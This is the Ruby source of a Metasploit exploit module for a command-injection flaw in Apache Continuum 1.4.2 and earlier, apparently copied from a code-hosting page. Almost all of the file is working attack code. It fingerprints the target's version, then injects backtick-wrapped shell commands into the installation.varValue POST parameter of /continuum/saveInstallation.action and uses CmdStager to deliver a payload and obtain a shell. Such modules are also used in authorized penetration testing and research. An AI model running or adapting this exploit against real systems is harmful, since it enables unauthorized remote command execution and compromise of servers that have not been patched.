75 lines
1.9 KiB
Ruby
75 lines
1.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Continuum Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a command injection in Apache Continuum <= 1.4.2.
|
|
By injecting a command into the installation.varValue POST parameter to
|
|
/continuum/saveInstallation.action, a shell can be spawned.
|
|
},
|
|
'Author' => [
|
|
'David Shanahan', # Proof of concept
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
%w{EDB 39886}
|
|
],
|
|
'DisclosureDate' => 'Apr 6 2016',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
['Apache Continuum <= 1.4.2', {}]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(8080)
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => '/continuum/about.action'
|
|
)
|
|
|
|
if res && res.body.include?('1.4.2')
|
|
CheckCode::Appears
|
|
elsif res && res.code == 200
|
|
CheckCode::Detected
|
|
else
|
|
CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
print_status('Injecting CmdStager payload...')
|
|
execute_cmdstager
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => '/continuum/saveInstallation.action',
|
|
'vars_post' => {
|
|
'installation.name' => Rex::Text.rand_text_alpha(8),
|
|
'installation.type' => 'jdk',
|
|
'installation.varValue' => '`' + cmd + '`'
|
|
}
|
|
)
|
|
end
|
|
end
|